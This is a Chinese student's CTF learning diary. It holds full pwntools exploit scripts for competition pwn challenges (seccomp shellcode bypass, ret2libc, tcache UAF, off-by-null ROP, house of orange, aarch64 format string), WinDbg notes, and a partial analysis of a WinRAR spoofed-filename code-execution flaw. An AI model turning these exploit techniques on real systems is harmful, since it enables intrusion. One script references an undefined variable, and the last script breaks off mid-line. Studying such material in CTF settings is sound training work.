#7.5
早上和晚上在打春秋杯夏季赛,下午被摇过去改论文,春秋杯打完就不打算打比赛啦,留时间把没完成的事完成一下,然后跟着学长一起复现
初探勒索病毒
题目内容:
你服务器上的一张图片被Black Basta勒索病毒给加密了。当你在服务器上还原出该图片后,等待一分钟左右,/flag就会变为可读权限。
(本题下发后会有一个ssh地址、账号密码,选手可通过ssh来访问环境)
(关注微信公众号“勒索病毒头条”,发送关键词“BASTA”可获取该题提示。)
我选择直接获取提示
【2024春秋杯夏季赛】
https://www.nomoreransom.org/zh/decryption-tools.html
搜索BlackBasta,并点击下载。
(如果您还需要进一步的提示,可在本公众号输入“BASTA2”获取。)
【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
这题的判断依据是能不能正常访问banana.jpg
这个图片,所以把banana.jpg.sah28vut5
改成banana.jpg
再用上面给的指令解密,图片在/var/www/html
目录下
mv ./banana.jpg.sah28vut5 ./banana.jpg
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg ./key.block
Shuffled_Execution
题目内容:
The Fishmonger found a secured entrance to somewhere...
一道写shellcode
的题,创建了一段可读可写可执行区域,写入0x250
的数据后开了沙箱并对输入内容进行随机化操作,但是操作长度的判断是通过strlen
获取的,所以直接输入\x00
即可绕过
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t len; // rsi
__int64 v4; // rax
char *s; // [rsp+28h] [rbp-18h]
init();
s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( s == (char *)-1LL )
{
perror("mmap failed");
exit(1);
}
syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
len = strlen(s);
shuffle((__int64)s, len);
if ( len <= 0xAF )
{
sandbox();
entrance();
LODWORD(v4) = 0;
}
else
{
return (int)"Error triggered...";
}
return v4;
}·
查看沙箱内容,发现禁用了execve execveat open read readv pread preadv write sendmsg
,最后选择用openat preadv2 writev
,需要注意的是preadv2 writev
的用法
unsigned __int64 sandbox()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 2LL, 0LL);
seccomp_rule_add(v1, 0LL, 0LL, 0LL);
seccomp_rule_add(v1, 0LL, 19LL, 0LL);
seccomp_rule_add(v1, 0LL, 17LL, 0LL);
seccomp_rule_add(v1, 0LL, 295LL, 0LL);
seccomp_rule_add(v1, 0LL, 1LL, 0LL);
seccomp_rule_add(v1, 0LL, 40LL, 0LL);
seccomp_load(v1);
return v2 - __readfsqword(0x28u);
}
示例如下,即preadv2
的二参是一个结构体,且这个结构体包含了数据缓冲区地址以及长度,就相当于原来read
的二参和三参
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/uio.h>
#define SYS_preadv2 327
ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags) {
return syscall(SYS_preadv2, fd, iov, iovcnt, offset, flags);
}
int main() {
// 打开文件
int fd = open("flag", O_RDONLY);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
// 准备读取数据的缓冲区
char buffer[0x50] = {0};
// 设置读取操作的 iovec 结构体
struct iovec iov;
iov.iov_base = buffer;
iov.iov_len = sizeof(buffer);
// 使用 preadv2 读取文件数据到缓冲区
ssize_t bytes_read = preadv2(fd, &iov, 1, 0, 0);
if (bytes_read == -1) {
perror("preadv2");
close(fd);
exit(EXIT_FAILURE);
}
// 输出读取的数据
write(STDOUT_FILENO, buffer, bytes_read);
// 关闭文件
close(fd);
return 0;
}
最终exp
如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('8.147.128.163', 36703)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b'\x00PP'
shellcode = asm('''
/* openat(fd=-0x64, file='flag', oflag=0) */
add rax, 0x62
mov r12, rax
mov rsi, rax
mov rdi, -0x64
/* call openat() */
mov rax, 0x101 /* 0x101 */
syscall
/* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
mov rdi, 3
mov rdx, 0x1
add r12, 0x15
mov rsi, r12
/* call preadv2() */
mov rax, 327
syscall
/* writev(fd=1, iovec=0x1337090, count=1) */
mov rdi, 1
mov rdx, 0x1
/* call writev() */
mov rax, 0x14
syscall
''')
p += shellcode + b'\x00' * 0x10 + b'flag\x00' + b'\x00' * 0x10 + p64(0x1337090) + p64(0x100)
r.sendlineafter(b'entrance', p)
r.interactive()
#7.6
今天坐大牢,一个知识点没查到肝了半天,下午又被摇过去改申请书嘻嘻,晚上试图逆向分析复现一下比赛,but
卡住了工具上,用IDA
直接崩,x64dbg
调到crash
的位置了又换windbg
,卡在软件下载和使用上了…都是代理惹的祸~
stdout
先检查保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
main
函数里存在栈溢出,溢出长度刚好是一个地址
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init();
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}
重点是init
函数,输出被设置为全缓冲区,只有当缓冲区被填满时才会进行I/O操作
void __fastcall init()
{
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
}
也可以通过以下方式进行手动刷新缓冲区从而输出缓冲区中的内容:
- 显式调用
fflush
函数 - 流被关闭(调用
fclose
) - 程序正常结束(调用
exit
)
程序其他部分包括vuln extend
,vuln
目的是进行更大长度的栈溢出,而extend
是为了向输出缓冲区填入更多内容加快填满输出缓冲区,因为直接通过输出一个地址来填满输出缓冲区会由于连接不稳定而无法打通远程
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
__int64 extend()
{
__int64 result; // rax
char s[8]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]
puts("Just to increase the number of got tables");
*(_QWORD *)s = '!olleh';
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v6 = strlen(s);
if ( strcmp(s, "hello!") )
exit(0);
puts("hello!");
srand(1u);
v5 = 0;
result = (unsigned int)(rand() % 16);
v5 = result;
return result;
}
所以本题的思路就是先利用extend
填满输出缓冲区,再ret2libc
,exp
如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('39.106.48.123', 31448)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
vuln = 0x40125D
ret = 0x000000000040101a
p = b'a' * 0x58 + p64(vuln)
r.send(p)
pop_rdi_ret = 0x00000000004013d3
pop_rsi_r12_ret = 0x00000000004013d1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
extend = 0x401287
p1 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
p = b'a' * 0x28 + p64(ret) + p64(extend) * 54 + p1 + p64(vuln)
for i in range(3):
r.send(p)
libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
pop_rdx_ret = 0x0000000000142c92 + libc_base
execve = libc.sym['execve'] + libc_base
p = b'a' * 0x28 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdx_ret) + p64(0) + p64(pop_rsi_r12_ret) + p64(0) * 2 + p64(execve)
r.send(p)
r.interactive()
#7.7
今天有点摆烂了…欸,周末嘛(bushi),主要是前一天睡的有点晚,直接润去姐姐家睡到了下午()。晚上摸索了一下windbg
基本用法
windbg
打开文件:文件选项卡中打开exe文件
设置符号路径 : .sympath srv*
加载符号: .reload
运行:g
设置断点: bp addr
查看堆栈状态:kb
查看反汇编代码:u addr
查看内容内容:双字:dd/dc addr
Unicode 字符串 :du addr
十六进制双字:dD addr
内存内容的指针:dp addr
字:dw addr
字节:db addr
ASCII字符:da addr
0:000> dc 00400000
00400000 00405000 00406000 00407000 00408000 .P...`...p...`...
00400010 00409000 0040A000 0040B000 0040C000 ..`...`...`...`...
0:000> du 00400000
00400000 "Hello, world!"
00400010 "This is a test string."
0:000> dd 00400000
00400000 00405000 00406000 00407000 00408000
00400010 00409000 0040A000 0040B000 0040C000
0:000> db 00400000
00400000 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 00 00 00 Hello, world!...
00400010 54 68 69 73 20 69 73 20-61 20 74 65 73 74 20 73 This is a test s
查看寄存器:r
/ r register
修改寄存器:r register = value
单步执行:不进入函数:p
进入函数:t
#7.8
今天还在捣鼓windbg
,有点难绷…
windbg
windbg
作用和pwndbg
类似,还需要结合IDA
逆向分析
显示指定的加载模块:lm
bp、bu 和 bm 命令设置新的断点,但它们具有不同的特征:
●bp (设置断点) 命令在命令中指定的断点位置的地址处设置新的断点。 如果在设置断点时调试器无法解析断点位置的地址表达式,则 bp 断点将自动转换为 bu 断点。 使用 bp 命令创建在卸载模块时不再处于活动状态的断点
●bu (设置未解析断点) 命令设置延迟或未解析的断点。 bu 断点是在对命令中指定的断点位置的符号引用上设置的, (不在地址) 上,每当解析具有引用的模块时,就会激活该断点。 有关这些断点的详细信息
●bm (设置符号断点) 命令在与指定模式匹配的符号上设置新的断点。 此命令可以创建多个断点。 默认情况下,匹配模式后, bm 断点与 bu 断点相同。 也就是说, bm 断点是在符号引用上设置的延迟断点。 但是,bm /d 命令会创建一个或多个 bp 断点。 每个断点在匹配位置的地址上设置,不跟踪模块状态
●.bpcmds/bl 查看断点情况
0:000> bm myprogram!mem*
4: 0040d070 MyProgram!memcpy
5: 0040c560 MyProgram!memmove
6: 00408960 MyProgram!memset
0:000> bp MyTest+0xb 7 #前六次忽略此断点,第七次传递时,执行会停止
#7.9
早上被摇去写了个uaf
,然后一直在装FakePDB
,救命,装不动了
pwn题
uaf
,限制15个堆,直接tcachebin attack
int delete()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("index: ");
v1 = readint();
if ( v1 > 15 || !ptr_list[v1] ){
return puts("NOOOOOOO!");
free((void *)ptr_list[v1]);
return puts("OKK!");
}
}
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index, size):
r.sendlineafter(b'choice >>', b'1')
r.sendlineafter('index', str(index))
r.sendlineafter(b'size', str(size))
def edit(index, content):
r.sendlineafter(b'choice >>', b'4')
r.sendlineafter('index', str(index))
r.sendlineafter(b'content', content)
def show(index):
r.sendlineafter(b'choice >>', b'3')
r.sendlineafter('index', str(index))
def delete(index):
r.sendlineafter(b'choice >>', b'2')
r.sendlineafter('index', str(index))
add(0, 0x500)
add(1, 0x60)
delete(0)
show(0)
libc = ELF('./libc-2.27.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
malloc_hook = libc.sym['__malloc_hook'] + libc_base
one = [0x4f2a5, 0x4f302, 0x10a2fc]
ogg = one[2] + libc_base
add(2, 0x500)
add(3, 0x60)
delete(1)
delete(3)
edit(3, p64(malloc_hook))
add(4, 0x60)
add(5, 0x60)
edit(5, p64(ogg))
add(6, 0x60)
r.interactive()
#7.10
安装FakePDB
,发现有release
版本,唉前一天白浪费那么多时间去编译啦,但是还是只能生成json
,pdb
还是没生成的起来。然后被老师摇去看论文啦,一万多字的专业性文章真是考验专注力和耐心,过程中和学长交流才发现,其实kb
查看栈回溯里的内容就行
windbg
之前对windbg
的误区是它既然不能识别函数那不就不能追溯到经过了哪些函数,昨天学到下断点是module_name+address
,今天学长提到kb
再去看了一下才发现这里的栈回溯就是module_name+address
形式的代替了函数
例如这里的GOM32Q_vc120_ReleaseQC+0x6371de
再去看IDA
对应的就是0x400000+0x6371de=0xA371DE
,即函数_invoke_watson
0:000> kb
\# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 017eefc0 00e971cc 00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 017eefe4 00a66a63 017ef0ec 00000104 05989178 GOM32Q_vc120_ReleaseQC+0x6371cc
02 017ef338 00a4d040 0ada2b98 00000001 00d6723a GOM32Q_vc120_ReleaseQC+0x206a63
03 017ef3fc 00d682e2 00ffb640 0ada2b98 00010004 GOM32Q_vc120_ReleaseQC+0x1ed040
04 017ef41c 00d6392f 0000c322 0ada2b98 00010004 GOM32Q_vc120_ReleaseQC+0x5082e2
05 017ef48c 00d640ea 0ad8e898 000408f4 0000c322 GOM32Q_vc120_ReleaseQC+0x50392f
06 017ef4ac 771116eb 000408f4 0000c322 0ada2b98 GOM32Q_vc120_ReleaseQC+0x5040ea
......
追溯到最后一个函数如下
void __cdecl __noreturn _invoke_watson(
const wchar_t *Expression,
const wchar_t *FunctionName,
const wchar_t *FileName,
unsigned int LineNo,
uintptr_t Reserved)
{
if ( IsProcessorFeaturePresent(0x17u) )
__fastfail(5u);
_call_reportfault(2, -1073740777, 1);
__crtTerminateProcess(0xC0000417);
}
#7.11
今天彻底明白怎么用windbg
结合IDA
调试啦,不容易。对GOM
进行了一些逆向,然后又被摇去看论文了嘶,什么时候我能看得懂这个论文在写什么呢(逃
windbg基础用法
运行前
打开文件:文件 -> Launch executable
查看反编译汇编:View -> Layouts -> Disassembly
设置符号路径:.sympath srv*
加载符号:.reload
运行
运行:g
单步执行不进入函数:p
单步执行进入函数:t
查看/修改状态
查看堆栈状态:kb
查看寄存器:r
/ r register
修改寄存器:r register = value
查看内存
查看指定地址反编译代码:u addr
以双字的形式查看内存:
dd addr / register
0:000> dd 00400000
00400000 00405000 00406000 00407000 00408000
00400010 00409000 0040A000 0040B000 0040C000
dc addr / register
0:000> dc 00400000
00400000 00405000 00406000 00407000 00408000 .P...`...p...`...
00400010 00409000 0040A000 0040B000 0040C000 ..`...`...`...`...
以Unicode
字符串的形式查看内存:du addr / register
0:000> du 00400000
00400000 "Hello, world!"
00400010 "This is a test string."
以字节的形式查看内存:db addr / register
0:000> db 00400000
00400000 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 00 00 00 Hello, world!...
00400010 54 68 69 73 20 69 73 20-61 20 74 65 73 74 20 73 This is a test s
以ASCII字符的形式查看内存:da addr / register
以字的形式查看内存:dw addr / register
以十六进制双字的形式查看内存:dD addr / register
以内存内容的指针的形式查看内存:dp addr / register
断点
查看断点详细情况:bl
0:000> bl
0 e Disable Clear 00000000 e 1 0001 (0001) 0:****
1 e Disable Clear 00300003 0001 (0001) 0:**** GOM32Q_vc120_ReleaseQC+0x3
查看断点:.bpcmds
0:000> .bpcmds
ba0 e1 0x00000000 ;
bp1 0x00300003 ;
下断点:
bp
:设置断点,在指定断点位置设置新的断点,如果调试器无法解析断点位置的地址表达式,则自动转换为bu断点,使用bp命令创建在卸载模块时不再处于活动状态的断点
0:000> bp MyTest+0xb 7 #前六次忽略此断点,第七次传递时,执行会停止
bm
:设置符号断点,命令在与指定模式匹配的符号上设置新的断点。 此命令可以创建多个断点。 默认情况下,匹配模式后,bm断点与bu断点相同。
0:000> bm myprogram!mem*
4: 0040d070 MyProgram!memcpy
5: 0040c560 MyProgram!memmove
6: 00408960 MyProgram!memset
bu
:设置未解析断点,命令设置延迟或未解析的断点。bu断点是在对命令中指定的断点位置的符号引用上设置的, (不在地址) 上,每当解析具有引用的模块时,就会激活该断点。
windbg结合IDA逆向分析
通过IDA中的地址下断点
地址偏移 = IDA中的地址 - IDA中的基址
查看模块名称/地址:lm
(基址为start
一列
0:000> lm
start end module name
00300000 010f9000 GOM32Q_vc120_ReleaseQC (no symbols)
05990000 05a4c000 swscale_gp_5 (deferred)
05a50000 05d69000 avutil_gp_56 (deferred)
05d70000 07366000 avcodec_gp_58 (deferred)
获取windbg
中的地址:模块基址 + 地址偏移
下断点:bu 模块名称 + 地址偏移
/ bu windbg中的地址
例如:IDA
中的基址为0x400000
,要在IDA
中地址为0x500000
的位置下断点,则地址偏移为0x500000 - 0x400000 = 0x100000
,假设lm
查看模块名为test
,该模块基址为0x200000
,则在windbg
中的地址就是0x300000
,那么下断点就是du test + 0x100000
/ du 0x300000
通过栈回溯找到IDA中对应函数
栈回溯查看堆栈情况:kb
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 014fedc0 009371cc 00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 014fede4 00506a63 014feeec 00000104 0f4aeea8 GOM32Q_vc120_ReleaseQC+0x6371cc
02 014ff138 004ed040 0f4cf948 00000001 0080723a GOM32Q_vc120_ReleaseQC+0x206a63
03 014ff1fc 008082e2 00a9b640 0f4cf948 00010004 GOM32Q_vc120_ReleaseQC+0x1ed040
04 014ff21c 0080392f 0000c391 0f4cf948 00010004 GOM32Q_vc120_ReleaseQC+0x5082e2
05 014ff28c 008040ea 0f4cd4c0 00010a66 0000c391 GOM32Q_vc120_ReleaseQC+0x50392f
得到形如模块名+地址偏移
的栈回溯,要找到在IDA
中的对应基址只需要用模块名加上的这个地址偏移(即加号后面部分)再加上IDA
基址即可
例如:GOM32Q_vc120_ReleaseQC+0x6371de
,则地址偏移为0x6371de
,IDA基址为0x400000
,那么在IDA
中的地址就是0x6371de + 0x400000 = 0xA371DE
GOM逆向
kb
查看栈回溯找到的第一个函数,是触发crash
时的反调试
再往上追溯两个函数
int __cdecl _invalid_parameter(
wchar_t *Expression,
wchar_t *FunctionName,
wchar_t *FileName,
unsigned int LineNo,
uintptr_t Reserved)
{
int (*v5)(void); // eax
v5 = (int (*)(void))DecodePointer(dword_CE8C44);
if ( !v5 )
_invoke_watson(Expression, FunctionName, FileName, LineNo, Reserved);
return v5();
}
void __cdecl _invalid_parameter_noinfo()
{
_invalid_parameter(0, 0, 0, 0, 0);
}
再往上追溯一个函数就是漏洞点sub_606910中的sub_5CE090(this[61], v14);,漏洞点就在wcscpy_s(Destination, 0x104u, Source);
int __thiscall sub_606910(_DWORD **this)
{
...
if ( v12 == 116 )
goto LABEL_25;
sub_44A540(*(void **)(v12 - 116 + 144));
LOBYTE(v15) = 3;
wcscpy_s(Destination, 0x104u, Source);
sub_5CE090(this[61], v14);
...
}
#7.12
早上改说明书摘要,下午和代理沟通,逆向一会和妈妈小姨去逛超市吃海底捞,回去又逆向了一会。唉海底捞真的快吃腻啦
WinRAR逆向
参考文章
https://paper.seebug.org/3036/#/
https://www.cnblogs.com/GoodFish-/p/17715977.html#/
实现效果
poc.zip
中包含poc.txt
和同名的poc.txt
文件夹,文件夹中包含一个cmd执行程序名为poc.txt .cmd
,用winrar
打开poc.zip
中的poc.txt
文本,poc.txt
和poc.txt .cmd
都会被释放到临时文件中,而最终打开的是poc.txt .cmd
,临时文件目录:C:\Users\Lenovo\AppData\Local\Temp\Rar$DIa30724.35820
分析
用010editor
打开poc.zip
,需要关注zip
结构体中的deFileName
,在zip
压缩包内,每个文件和文件夹都对应了一个ZIPDIRENTRY
数据结构,该数据结构包含一个名为deFileName
的成员,用于存储目标文件/文件夹的名称
用bindiff
比较存在漏洞的版本和更新的版本之间的差异,确定漏洞点位置在sub_1400EF508
#7.13
今天主要做了一些杂事,写了队规做了宣传海报清理手机电脑内存准备去招新咯。晚上收拾了下行李箱准备明天去上海投奔表哥(
看看我做的海报吧~非专业,凑合看咯
#7.14
早上赶火车,晕的不行车上没看题。中午和哥哥去吃了早茶,嗯没错在上海吃早茶,上次从广州回来就对早茶念念不忘嘿嘿。下午打了几个小时WKCTF
,晚上开周会。唉,好菜,pwn
就写出来一题剩下的都是学长写的。什么时候能有学长和男朋友那么强啊(抓狂
baby_stack
wait
中存在格式化字符串漏洞,随便测一下发现输入6
的时候会输出一个libc
上的地址从而得到基址,通过libc
基址获取one gadget
地址
void __fastcall wait()
{
unsigned int num; // eax
char s[5]; // [rsp+Bh] [rbp-85h] BYREF
char format[120]; // [rsp+10h] [rbp-80h] BYREF
puts("Press enter to continue");
getc(stdin);
printf("Pick a number: ");
fgets(s, 5, stdin);
num = strtol(s, 0LL, 10);
snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", num);
printf(format);
introduce();
}
echo_inner
中存在栈上的off-by-null
,在栈上布置rop
并且通过输入长度控制将\x00
写到rbp
,返回到上层函数之后就会抬栈运行到布置的rop
,为了确保执行到ogg
需要将最后8
位覆盖成ogg
,前面全部覆盖成ret
void __fastcall echo_inner(_BYTE *a1, int size)
{
a1[(int)fread(a1, 1uLL, size, stdin)] = 0;
puts("You said:");
printf("%s", a1);
}
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('110.40.35.73', 33688)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendafter(b'continue', b'\n')
r.sendlineafter(b'number', b'6')
r.recvuntil(b'is: ')
libc_base = int(r.recvuntil(b'\n')[:-1], 16) - 0x3ec7e3
libc = ELF('./2.27/libc-2.27.so')
one = [0x4f2a5, 0x4f302, 0x10a2fc]
ogg = one[1] + libc_base
ret = 0x00000000000008aa + libc_base
r.sendlineafter(b'256)? ', b'256')
p = p64(ret) * 31 + p64(ogg)
r.sendline(p)
r.interactive()
signin
https://github.com/htr-tech/0xTwin/blob/master/twin_cipher.py
解码得到base64
编码的图片,图片是一个二维码但是扫不出来,找在线工具https://cli.im/deqr/other得到:**请发送 WKCTF2024 到微信公众号隐雾安全获取flag!**
照做得到flagWKCTF{hello_2024}
how_to_encrypt
问了下gpt
得知encrypt
的运行结果是ciphertext.txt
,其中会用到flag
和model.pth
,直接扔给gpt
,通过flag
和model.pth
求flag
import torch
import torch.nn as nn
# 读取 ciphertext.txt 中的内容并转换为张量
def read_ciphertext(file_path):
with open(file_path, 'r') as f:
lines = f.readlines()
data = []
for line in lines:
data.append([float(x) for x in line.split()])
return torch.tensor(data)
# 定义网络结构
class Net(nn.Module):
def __init__(self, n):
super(Net, self).__init__()
self.linear = nn.Linear(n, n * n)
self.conv = nn.Conv2d(1, 1, (2, 2), stride=1, padding=1)
def forward(self, x):
x = self.linear(x)
x = x.view(1, 1, n, n)
x = self.conv(x)
return x
# 加载 ciphertext.txt 和 model.pth
ciphertext = read_ciphertext('ciphertext.txt')
n = int(ciphertext.shape[-1]) # 假设最后一维是 n
ciphertext = ciphertext.view(1, 1, n, n)
# 确保n与保存的模型一致
n = 47 # 根据错误信息设置为47
# 初始化网络
mynet = Net(n)
mynet.load_state_dict(torch.load('model.pth'))
# 定义一个可优化的输入变量
flag_tensor = torch.randn(n, requires_grad=True, dtype=torch.float32)
# 优化器
optimizer = torch.optim.Adam([flag_tensor], lr=0.1)
# 目标输出
target_output = ciphertext
# 迭代优化输入
for epoch in range(10000):
optimizer.zero_grad()
output = mynet(flag_tensor)
loss = nn.MSELoss()(output, target_output)
loss.backward()
optimizer.step()
if epoch % 1000 == 0:
print(f'Epoch {epoch}, Loss: {loss.item()}')
# 获取优化后的输入
optimized_flag = flag_tensor.detach().numpy()
# 将优化后的输入转换回字符
flag = ''.join([chr(int(round(x))) for x in optimized_flag])
print("Recovered flag:", flag)
#7.15
早上起的很早去医院抽血化验,唉可惜结果比上次还差。去医院附近一家有点名气的汤包店吃了蟹黄汤包,确实好吃!!!(不过咸蛋黄味的汤包不好吃,避雷)。从医院回去用了一个小时,嗯公交车坐反了…问题不大,回去之后过了一会吃了午饭睡到下午三四点,然后跟哥哥嫂子去南京路吃了蟹黄面,又去外滩玩到十点。蟹黄面好好吃呜呜,上次还是和男朋友一起吃的嘻嘻。回去以后洗漱完也很晚啦,就,晚安~
#7.16
复现了一下WKCTF的两道pwn,也是终于会一种异构了捏
easy_heap
漏洞点出在edit
可以堆溢出
unsigned __int64 edit()
{
int index; // [rsp+0h] [rbp-10h] BYREF
_DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
index = 0;
size[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &index);
puts("Size :");
__isoc99_scanf("%d", size);
if ( size[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, chunk_ptr[index], size[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
没有delete
且限制了show
的长度为一个地址,首先想到的就是house of orange
伪造top chunk
的条件:
- 保证原本
old top chunk
的size
大于MINSIZE
- 保证原本
old top chunk
的prev_inuse
位是1
- 原本
old top chunk
的地址加上其size
之后的地址要与页对齐 也就是address & 0xfff = 0x000
old chunk
的size
要小于申请的堆块大小加上MINSIZE
当申请的堆大小大于伪造的top chunk
大小时会将top chunk
释放,释放的大小为top chunk size - 0x20
,并且根据释放的大小判断进入fastbin
或者unsorted bin
所以本题可以先释放一次top chunk
到unsorted bin
泄露libc
,再释放一次top chunk
到fastbin
进行fastbin attack
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('110.40.35.73', 33747)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Size', str(size))
r.sendafter(b'Content', content)
def edit(index, size, content):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'Index', str(index))
r.sendlineafter(b'Size', str(size))
r.sendafter(b'Content', content)
def show(index):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'Index', str(index))
add(0xdf8, b'a')
add(0x18, b'a')
p = b'a' * 0x18 + p64(0x1e1)
edit(1, len(p), p)
add(0xdf8, b'a')
add(0x1b8, b'a')
show(3)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3c4b61
libc = ELF('./2.23/libc-2.23.so')
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ogg = libc_base + one[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0x18, b'a')
p = b'a' * 0x18 + p64(0x1e1)
edit(4, len(p), p)
add(0x148, b'a')
add(0xdf8, b'a')
p = b'a' * 0x148 + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(p), p)
add(0x68, b'a')
add(0x68, b'a' * 19 + p64(ogg))
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Size', str(0))
r.interactive()
something_changed
漏洞点是格式化字符串,并且存在后门,限制了输入内容不能包含$
,但还是可以直接用fmtstr_payload
工具
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v4; // x19
int i; // [xsp+FCCh] [xbp+2Ch]
char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
__int64 v7; // [xsp+FF8h] [xbp+58h]
v7 = _bss_start;
read(0, v6, 0x50uLL);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(v6) )
break;
if ( (char *)(unsigned __int8)v6[i] == "$" )
return 0;
}
printf(v6);
return 0;
}
测试出偏移是14
,开了canary
保护,所以可以将__stack_chk_fail_got
改成backdoor
sudo qemu-aarch64 -L ./libc/libc/lib ./pwn
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x7f3e313a1400-0x2d70252d70252d70-0xa7025-0x7f3e313a1448-(nil)-0x8080808080-0x2c6f242c6f242c6f-0x7f3e313a13e0-0x7f3e30a48a00-0x400888-0x4008c0-0x7f3e313a13e0-0x4b30a489ac-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70
exp
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('120.79.91.95', 3332)
else:
